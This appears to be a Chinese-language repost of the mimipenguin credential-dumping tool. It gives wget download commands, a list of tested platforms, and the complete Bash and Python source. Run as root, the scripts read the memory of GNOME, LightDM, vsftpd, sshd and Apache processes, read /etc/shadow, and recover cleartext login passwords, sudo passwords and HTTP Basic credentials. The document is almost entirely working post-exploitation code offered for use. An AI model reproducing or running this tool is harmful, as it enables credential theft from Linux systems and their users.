本工具来自:https://github.com/huntergregal/mimipenguin

wget https://raw.githubusercontent.com/huntergregal/mimipenguin/master/mimipenguin.sh
wget https://raw.githubusercontent.com/huntergregal/mimipenguin/master/mimipenguin.py

测试成功的平台(需要root权限):

Kali 4.3.0 (rolling) x64 (gdm3)
Ubuntu Desktop 12.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)
Ubuntu Desktop 14.04.1 LTS x64 (Gnome Keyring 3.10.1-1ubuntu4.3, LightDM 1.10.6-0ubuntu1)
Ubuntu Desktop 16.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)
Ubuntu Desktop 16.04.4 LTS x64 (LightDM 1.18.3-0ubuntu1.1)
XUbuntu Desktop 16.04 x64 (Gnome Keyring 3.18.3-0ubuntu2)
Archlinux x64 Gnome 3 (Gnome Keyring 3.20)
OpenSUSE Leap 42.2 x64 (Gnome Keyring 3.20)
VSFTPd 3.0.3-8+b1 (Active FTP client connections)
Apache2 2.4.25-3 (Active/Old HTTP BASIC AUTH Sessions) [Gcore dependency]
openssh-server 1:7.3p1-1 (Active SSH connections - sudo usage)
mimipenguin.sh
#!/bin/bash
 
# Author: Hunter Gregal
# Github: /huntergregal Twitter: /huntergregal Site: huntergregal.com
# Dumps cleartext credentials from memory
 
#root check
if [[ "$EUID" -ne 0 ]]; then
	echo "Root required - You are dumping memory..."
	echo "Even mimikatz requires administrator"
	exit 1
fi
 
#Store results to cleanup later
export RESULTS=""
 
 
# $1 = PID, $2 = output_file, $3 = operating system
function dump_pid () {
 
	system=$3
	pid=$1
	output_file=$2
	if [[ $system == "kali" ]]; then
		mem_maps=$(grep -E "^[0-9a-f-]* r" /proc/"$pid"/maps | grep -E 'heap|stack' | cut -d' ' -f 1)
	else
		mem_maps=$(grep -E "^[0-9a-f-]* r" /proc/"$pid"/maps | cut -d' ' -f 1)
	fi
	while read -r memrange; do
		memrange_start=$(echo "$memrange" | cut -d"-" -f 1)
		memrange_start=$(printf "%u\n" 0x"$memrange_start")
		memrange_stop=$(echo "$memrange" | cut -d"-" -f 2)
		memrange_stop=$(printf "%u\n" 0x"$memrange_stop")
		memrange_size=$((memrange_stop - memrange_start))
		dd if=/proc/"$pid"/mem of="${output_file}"."${pid}" ibs=1 oflag=append conv=notrunc \
			skip="$memrange_start" count="$memrange_size" > /dev/null 2>&1
	done <<< "$mem_maps"
}
 
 
 
# $1 = DUMP, $2 = HASH, $3 = SALT, $4 = SOURCE
function parse_pass () {
 
	#If hash not in dump get shadow hashes
	if [[ ! "$2" ]]; then
			SHADOWHASHES="$(cut -d':' -f 2 /etc/shadow | grep -E '^\$.\$')"
	fi
 
	#Determine password potential for each word
	while read -r line; do
		#If hash in dump, prepare crypt line
		if [[ "$2" ]]; then
			#get ctype
			CTYPE="$(echo "$2" | cut -c-3)"
			#Escape quotes, backslashes, single quotes to pass into crypt
			SAFE=$(echo "$line" | sed 's/\\/\\\\/g; s/\"/\\"/g; s/'"'"'/\\'"'"'/g;')
			CRYPT="\"$SAFE\", \"$CTYPE$3\""
			if [[ $(python2 -c "import crypt; print crypt.crypt($CRYPT)") == "$2" ]]; then
				#Find which user's password it is (useful if used more than once!)
				USER="$(grep "${2}" /etc/shadow | cut -d':' -f 1)"
				export RESULTS="$RESULTS$4			$USER:$line \n"
			fi
		#Else use shadow hashes
		elif [[ $SHADOWHASHES ]]; then
			while read -r thishash; do
				CTYPE="$(echo "$thishash" | cut -c-3)"
				SHADOWSALT="$(echo "$thishash" | cut -d'$' -f 3)"
				#Escape quotes, backslashes, single quotes to pass into crypt
				SAFE=$(echo "$line" | sed 's/\\/\\\\/g; s/\"/\\"/g; s/'"'"'/\\'"'"'/g;')
				CRYPT="\"$SAFE\", \"$CTYPE$SHADOWSALT\""
				if [[ $(python2 -c "import crypt; print crypt.crypt($CRYPT)") == "$thishash" ]]; then
					#Find which user's password it is (useful if used more than once!)
					USER="$(grep "${thishash}" /etc/shadow | cut -d':' -f 1)"
					export RESULTS="$RESULTS$4			$USER:$line\n"
				fi
			done <<< "$SHADOWHASHES"
		#if no hash data - revert to checking probability
		else
	    patterns=("^_pammodutil.+[0-9]$"\
	             "^LOGNAME="\
	             "UTF-8"\
	             "^splayManager[0-9]$"\
	             "^gkr_system_authtok$"\
	             "[0-9]{1,4}:[0-9]{1,4}:"\
	             "Manager\.Worker"\
	             "/usr/share"\
	             "/bin"\
	             "\.so\.[0-1]$"\
	             "x86_64"\
	             "(aoao)"\
	             "stuv")
	    export RESULTS="$RESULTS[HIGH]$4			$line\n"
	    for pattern in "${patterns[@]}"; do
	      if [[ $line =~ $pattern ]]; then
	        export RESULTS="$RESULTS[LOW]$4			$line\n"
	      fi
	    done
		fi
	done <<< "$1"
} # end parse_pass
 
 
#Support Kali
if [[ $(uname -a | awk '{print tolower($0)}') == *"kali"* ]]; then
	SOURCE="[SYSTEM - GNOME]"
	#get gdm-session-worker [pam/gdm-password] process
	PID="$(ps -eo pid,command | sed -rn '/gdm-password\]/p' | awk -F ' ' '{ print $1 }')"
	#if exists aka someone logged into gnome then extract...
	if [[ $PID ]];then
		while read -r pid; do
			dump_pid "$pid" /tmp/dump "kali"
			HASH="$(strings "/tmp/dump.${pid}" | grep -E -m 1 '^\$.\$.+\$')"
			SALT="$(echo "$HASH" | cut -d'$' -f 3)"
			DUMP="$(strings "/tmp/dump.${pid}" | grep -E '^_pammodutil_getpwnam_root_1$' -B 5 -A 5)"
			DUMP="${DUMP}$(strings "/tmp/dump.${pid}" | grep -E '^gkr_system_authtok$' -B 5 -A 5)"
			#Remove dupes to speed up processing
			DUMP=$(echo "$DUMP" | tr " " "\n" |sort -u)
			parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE" 
 
			#cleanup
			rm -rf "/tmp/dump.${pid}"
		done <<< "$PID"
	fi
fi
 
#Support gnome-keyring
if [[ -n $(ps -eo pid,command | grep -v 'grep' | grep gnome-keyring) ]]; then
 
		SOURCE="[SYSTEM - GNOME]"
		#get /usr/bin/gnome-keyring-daemon process
		PID="$(ps -eo pid,command | sed -rn '/gnome\-keyring\-daemon/p' | awk -F ' ' '{ print $1 }')"
 
	#if exists aka someone logged into gnome then extract...
	if [[ $PID ]];then
		while read -r pid; do
			dump_pid "$pid" /tmp/dump
			HASH="$(strings "/tmp/dump.${pid}" | grep -E -m 1 '^\$.\$.+\$')"
			SALT="$(echo "$HASH" | cut -d'$' -f 3)"
			DUMP=$(strings "/tmp/dump.${pid}" | grep -E '^.+libgck\-1\.so\.0$' -B 10 -A 10)
			DUMP+=$(strings "/tmp/dump.${pid}" | grep -E -A 5 -B 5 'libgcrypt\.so\..+$')
			#Remove dupes to speed up processing
			DUMP=$(echo "$DUMP" | tr " " "\n" |sort -u)
			parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE" 
			#cleanup
			rm -rf "/tmp/dump.${pid}"
		done <<< "$PID"
	fi
fi
 
#Support LightDM
if [[ -n $(ps -eo pid,command | grep -v 'grep' | grep lightdm | grep session-child) ]]; then
	SOURCE="[SYSTEM - LIGHTDM]"
	PID="$(ps -eo pid,command | grep lightdm | sed -rn '/session\-child/p' | awk -F ' ' '{ print $1 }')"
 
	#if exists aka someone logged into lightdm then extract...
	if [[ $PID ]]; then
		while read -r pid; do
			dump_pid "$pid" /tmp/dump
			HASH=$(strings "/tmp/dump.${pid}" | grep -E -m 1 '^\$.\$.+\$')
			SALT="$(echo "$HASH" | cut -d'$' -f 3)"
			DUMP="$(strings "/tmp/dump.${pid}" | grep -E '^_pammodutil_getspnam_' -A1)"
			#Remove dupes to speed up processing
			DUMP=$(echo "$DUMP" | tr " " "\n" |sort -u)
			parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE"
			#cleanup
			rm -rf "/tmp/dump.${pid}"
		done <<< "$PID"
	fi
fi
 
#Support VSFTPd - Active Users
if [[ -e "/etc/vsftpd.conf" ]]; then
		SOURCE="[SYSTEM - VSFTPD]"
		#get nobody /usr/sbin/vsftpd /etc/vsftpd.conf
		PID="$(ps -eo pid,user,command | grep vsftpd | grep nobody | awk -F ' ' '{ print $1 }')"
	#if exists aka someone logged into FTP then extract...
	if [[ $PID ]];then
		while read -r pid; do
			dump_pid "$pid" /tmp/vsftpd
			HASH="$(strings "/tmp/vsftpd.${pid}" | grep -E -m 1 '^\$.\$.+\$')"
			SALT="$(echo "$HASH" | cut -d'$' -f 3)"
			DUMP=$(strings "/tmp/vsftpd.${pid}" | grep -E -B 5 -A 5 '^::.+\:[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$')
			#Remove dupes to speed up processing
			DUMP=$(echo "$DUMP" | tr " " "\n" |sort -u)
			parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE"
		done <<< "$PID"
 
		#cleanup
		rm -rf /tmp/vsftpd*
	fi
fi
 
#Support Apache2 - HTTP BASIC AUTH
if [[ -e "/etc/apache2/apache2.conf" ]]; then
		SOURCE="[HTTP BASIC - APACHE2]"
		#get all apache workers /usr/sbin/apache2 -k start
		PID="$(ps -eo pid,user,command | grep apache2 | grep -v 'grep' | awk -F ' ' '{ print $1 }')"
	#if exists aka apache2 running
	if [[ "$PID" ]];then
		#Dump all workers
		while read -r pid; do
			gcore -o /tmp/apache "$pid" > /dev/null 2>&1
			#without gcore - VERY SLOW!
			#dump_pid $pid /tmp/apache
		done <<< "$PID"
		#Get encoded creds
		DUMP="$(strings /tmp/apache* | grep -E '^Authorization: Basic.+=$' | cut -d' ' -f 3)"
		#for each extracted b64 - decode the cleartext
		while read -r encoded; do
			CREDS="$(echo "$encoded" | base64 -d)"
			if [[ "$CREDS" ]]; then
				export RESULTS="$RESULTS$SOURCE			$CREDS\n"
			fi
		done <<< "$DUMP"
		#cleanup
		rm -rf /tmp/apache*
	fi
fi
 
#Support sshd - Search active connections for Sudo passwords
if [[ -e "/etc/ssh/sshd_config" ]]; then
	SOURCE="[SYSTEM - SSH]"
	#get all ssh tty/pts sessions - sshd: user@pts01
	PID="$(ps -eo pid,command | grep -E 'sshd:.+@' | grep -v 'grep' | awk -F ' ' '{ print $1 }')"
	#if exists aka someone logged into SSH then dump
	if [[ "$PID" ]];then
		while read -r pid; do
			dump_pid "$pid" /tmp/sshd
			HASH="$(strings "/tmp/sshd.${pid}" | grep -E -m 1 '^\$.\$.+\$')"
			SALT="$(echo "$HASH" | cut -d'$' -f 3)"
			DUMP=$(strings "/tmp/sshd.${pid}" | grep -E -A 3 '^sudo.+')
			#Remove dupes to speed up processing
			DUMP=$(echo "$DUMP" | tr " " "\n" |sort -u)
			parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE"
		done <<< "$PID"
		#cleanup
		rm -rf /tmp/sshd.*
	fi
fi
 
#Output results to STDOUT
printf "MimiPenguin Results:\n"
printf "%b" "$RESULTS" | sort -u
unset RESULTS

python:

mimipenguin.py
#!/usr/bin/env python3
#   -*- encoding: utf8 -*-
#   Rewrite of mimipenguin in Python 3.
#   Original idea from Hunter Gregal (@huntergregal).
#   Implementation by Yannick Méheut (github.com/the-useless-one)
#   Copyright © 2017, Yannick Méheut <[email protected]>
 
#   This program is free software: you can redistribute it and/or modify
#   it under the terms of the GNU General Public License as published by
#   the Free Software Foundation, either version 3 of the License, or
#   (at your option) any later version.
#
#   This program is distributed in the hope that it will be useful,
#   but WITHOUT ANY WARRANTY; without even the implied warranty of
#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#   GNU General Public License for more details.
 
#   You should have received a copy of the GNU General Public License
#   along with this program.  If not, see <http://www.gnu.org/licenses/>.
 
from __future__ import print_function
 
import os
import platform
import re
import base64
import binascii
import crypt
import string
 
 
def running_as_root():
    return os.geteuid() == 0
 
 
def get_linux_distribution():
    try:
        return platform.dist()[0].lower()
    except IndexError:
        return str()
 
 
def compute_hash(ctype, salt, password):
    return crypt.crypt(password, '{}{}'.format(ctype, salt))
 
 
def strings(s, min_length=4):
    strings_result = list()
    result = str()
 
    for c in s:
        try:
            c = chr(c)
        except TypeError:
            # In Python 2, c is already a chr
            pass
        if c in string.printable:
            result += c
        else:
            if len(result) >= min_length:
                strings_result.append(result)
            result = str()
 
    return strings_result
 
 
def dump_process(pid):
    dump_result = bytes()
 
    with open('/proc/{}/maps'.format(pid), 'r') as maps_file:
        for l in maps_file.readlines():
            memrange, attributes = l.split(' ')[:2]
            if attributes.startswith('r'):
                memrange_start, memrange_stop = [
                    int(x, 16) for x in memrange.split('-')]
                memrange_size = memrange_stop - memrange_start
                with open('/proc/{}/mem'.format(pid), 'rb') as mem_file:
                    try:
                        mem_file.seek(memrange_start)
                        dump_result += mem_file.read(memrange_size)
                    except (OSError, ValueError, IOError, OverflowError):
                        pass
 
    return dump_result
 
 
def find_pid(process_name):
    pids = list()
 
    for pid in os.listdir('/proc'):
        try:
            with open('/proc/{}/cmdline'.format(pid), 'rb') as cmdline_file:
                if process_name in cmdline_file.read().decode():
                    pids.append(pid)
        except IOError:
            continue
 
    return pids
 
 
class PasswordFinder:
    _hash_re = r'^\$.\$.+$'
 
    def __init__(self):
        self._potential_passwords = list()
        self._strings_dump = list()
        self._found_hashes = list()
 
    def _dump_target_processes(self):
        target_pids = list()
        for target_process in self._target_processes:
            target_pids += find_pid(target_process)
        for target_pid in target_pids:
            self._strings_dump += strings(dump_process(target_pid))
 
    def _find_hash(self):
        for s in self._strings_dump:
            if re.match(PasswordFinder._hash_re, s):
                self._found_hashes.append(s)
 
    def _find_potential_passwords(self):
        for needle in self._needles:
            needle_indexes = [i for i, s in enumerate(self._strings_dump)
                              if re.search(needle, s)]
            for needle_index in needle_indexes:
                self._potential_passwords += self._strings_dump[
                    needle_index - 10:needle_index + 10]
        self._potential_passwords = list(set(self._potential_passwords))
 
    def _try_potential_passwords(self):
        valid_passwords = list()
        found_hashes = list()
        pw_hash_to_user = dict()
 
        if self._found_hashes:
            found_hashes = self._found_hashes
        with open('/etc/shadow', 'r') as f:
            for l in f.readlines():
                user, pw_hash = l.split(':')[:2]
                if not re.match(PasswordFinder._hash_re, pw_hash):
                    continue
                found_hashes.append(pw_hash)
                pw_hash_to_user[pw_hash] = user
 
        found_hashes = list(set(found_hashes))
 
        for found_hash in found_hashes:
            ctype = found_hash[:3]
            salt = found_hash.split('$')[2]
            for potential_password in self._potential_passwords:
                potential_hash = compute_hash(ctype, salt, potential_password)
                if potential_hash == found_hash:
                    try:
                        valid_passwords.append(
                            (pw_hash_to_user[found_hash], potential_password))
                    except KeyError:
                        valid_passwords.append(
                            ('<unknown user>', potential_password))
 
        return valid_passwords
 
    def dump_passwords(self):
        self._dump_target_processes()
        self._find_hash()
        self._find_potential_passwords()
 
        return self._try_potential_passwords()
 
 
class GdmPasswordFinder(PasswordFinder):
    def __init__(self):
        PasswordFinder.__init__(self)
        self._source_name = '[SYSTEM - GNOME]'
        self._target_processes = ['gdm-password']
        self._needles = ['^_pammodutil_getpwnam_root_1$',
                         '^gkr_system_authtok$']
 
 
class GnomeKeyringPasswordFinder(PasswordFinder):
    def __init__(self):
        PasswordFinder.__init__(self)
        self._source_name = '[SYSTEM - GNOME]'
        self._target_processes = ['gnome-keyring-daemon']
        self._needles = [r'^.+libgck\-1\.so\.0$', r'libgcrypt\.so\..+$']
 
class LightDmPasswordFinder(PasswordFinder):
    def __init__(self):
        PasswordFinder.__init__(self)
        self._source_name = '[SYSTEM - LIGHTDM]'
        self._target_processes = ['lightdm']
        self._needles = [r'^_pammodutil_getspnam_']
 
class VsftpdPasswordFinder(PasswordFinder):
    def __init__(self):
        PasswordFinder.__init__(self)
        self._source_name = '[SYSTEM - VSFTPD]'
        self._target_processes = ['vsftpd']
        self._needles = [
            r'^::.+\:[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$']
 
 
class SshdPasswordFinder(PasswordFinder):
    def __init__(self):
        PasswordFinder.__init__(self)
        self._source_name = '[SYSTEM - SSH]'
        self._target_processes = ['sshd:']
        self._needles = [r'^sudo.+']
 
 
class ApachePasswordFinder(PasswordFinder):
    def __init__(self):
        PasswordFinder.__init__(self)
        self._source_name = '[HTTP BASIC - APACHE2]'
        self._target_processes = ['apache2']
        self._needles = [r'^Authorization: Basic.+']
 
    def _try_potential_passwords(self):
        valid_passwords = list()
 
        for potential_password in self._potential_passwords:
            try:
                potential_password = base64.b64decode(potential_password)
            except binascii.Error:
                continue
            else:
                try:
                    user, password = potential_password.split(':', maxsplit=1)
                    valid_passwords.append((user, password))
                except IndexError:
                    continue
 
        return valid_passwords
 
    def dump_passwords(self):
        self._dump_target_processes()
        self._find_potential_passwords()
 
        return self._try_potential_passwords()
 
 
def main():
    if not running_as_root():
        raise RuntimeError('mimipenguin should be ran as root')
 
    password_finders = list()
 
    if find_pid('gdm-password'):
        password_finders.append(GdmPasswordFinder())
    if find_pid('gnome-keyring-daemon'):
        password_finders.append(GnomeKeyringPasswordFinder())
    if find_pid('lightdm'):
        password_finders.append(LightDmPasswordFinder())
    if os.path.isfile('/etc/vsftpd.conf'):
        password_finders.append(VsftpdPasswordFinder())
    if os.path.isfile('/etc/ssh/sshd_config'):
        password_finders.append(SshdPasswordFinder())
    if os.path.isfile('/etc/apache2/apache2.conf'):
        password_finders.append(ApachePasswordFinder())
 
    for password_finder in password_finders:
        for valid_passwords in password_finder.dump_passwords():
            print('{}\t{}:{}'.format(password_finder._source_name,
                                     valid_passwords[0], valid_passwords[1]))
 
 
if __name__ == '__main__':
    main()